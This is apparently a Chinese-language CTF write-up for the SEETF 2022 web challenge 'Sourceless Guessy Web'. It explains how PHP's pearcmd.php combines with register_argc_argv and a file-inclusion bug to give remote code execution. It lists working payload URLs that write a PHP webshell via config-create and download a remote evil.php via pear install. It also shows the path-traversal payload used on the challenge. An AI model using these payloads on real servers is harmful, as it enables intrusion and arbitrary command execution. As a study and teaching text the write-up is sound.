[2022SEETF]Sourceless Guessy Web (pearcmd+rce)

发布于 2022-06-10  40 次阅读


Sourceless Guessy Web

pearcmd

参考链接

https://blog.csdn.net/Mrs_H/article/details/122386511

https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B8%8Einclude%20to%20RCE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%BB%84%E5%90%88/

pearcmd.php

正常情况下,pearcmd.php的文件位置在/usr/local/lib/php/pearcmd.php

public static function readPHPArgv()
{
    global $argv;
    if (!is_array($argv)) {
        if (!@is_array($_SERVER['argv'])) {
            if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                $msg = "Could not read cmd args (register_argc_argv=Off?)";
                return PEAR::raiseError("Console_Getopt: " . $msg);
            }
            return $GLOBALS['HTTP_SERVER_VARS']['argv'];
        }
        return $_SERVER['argv'];
    }
    return $argv;
}

也就是说在argv的情况下,pearcmd.php是通过$_SERVER['argv']来获取参数的。那么我们现在就要利用test2.php来看一下$_SERVER['argv']是如何解析参数的。

image-20220611013321887

从上面的三个例子中我们发现了一些问题:

1.&符无发分割参数,真正能分割参数的是加号

2.等号无法赋值,而是会直接被传进去当作参数。

paer程序

#!/bin/sh                                                                                                                               
# first find which PHP binary to use                                                                                                                                                                               
if test "x$PHP_PEAR_PHP_BIN" != "x"; then                                                                                                                                                                          
  PHP="$PHP_PEAR_PHP_BIN"                                                                                                                                                                                          
else                                                                     
  if test "/usr/local/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/local/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/local/lib/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/local/lib/php"
    INCARG="-d include_path=/usr/local/lib/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

pear命令实质上就是调用了pearcmd.php,也就是说我们可以利用pear命令的形式来进行漏洞利用。

利用

我们知道当我们include一个可以被php解析的文件的时候,php代码会被自动执行,这样在registerargcargv开启的情况下我们就有可能通过包含pearcmd.php与操控$_SERVER['argv']来执行pear命令

那么,我们只需要include到pearcmd.php,然后通过$_SERVER['argv']来执行pear命令即可。

pear命令

image-20220611013826477

由此我们可以得到几个payload

//通过本地直接写入webshell,注意这里最好抓包然后用burpsuite或者直接curl执行,否则浏览器会将< ? > 转义
// config-create可以直接创建配置文件,且第一个参数必须以/开头
http://ip:port/include.php?f=pearcmd&+config-create+/<?=phpinfo();?>+/tmp/evil.php
// 通过远程直接下载webshell
// web目录可写
- http://ip:port/include.php?f=pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php
- http://ip:port/tmp/pear/download/evil.php
// tmp目录可写
- http://ip:port/include.php?f=pearcmd&+install+-R+/tmp+http://ip:port/evil.php
- http://ip:port/include.php?f=/tmp/pear/download/evil

题目

First flag

?page有目录穿越漏洞

直接访问即可。

image-20220610234358783

Second flag

访问/phpinfo.php可以看到提示:text=register_argc_argv

进一步看看phpinfo可以发现

image-20220611004810875

这个时候就可以利用pearcmd+include来实现写入php文件构造rce

利用pear语言的config-create的方法来创建一个文件。

/?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd.php&/<?=phpinfo();?>+/tmp/eval.php

image-20220611005210887

然后访问发现

image-20220611005302262

成功写入,那么之后我们改成system命令即可。


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”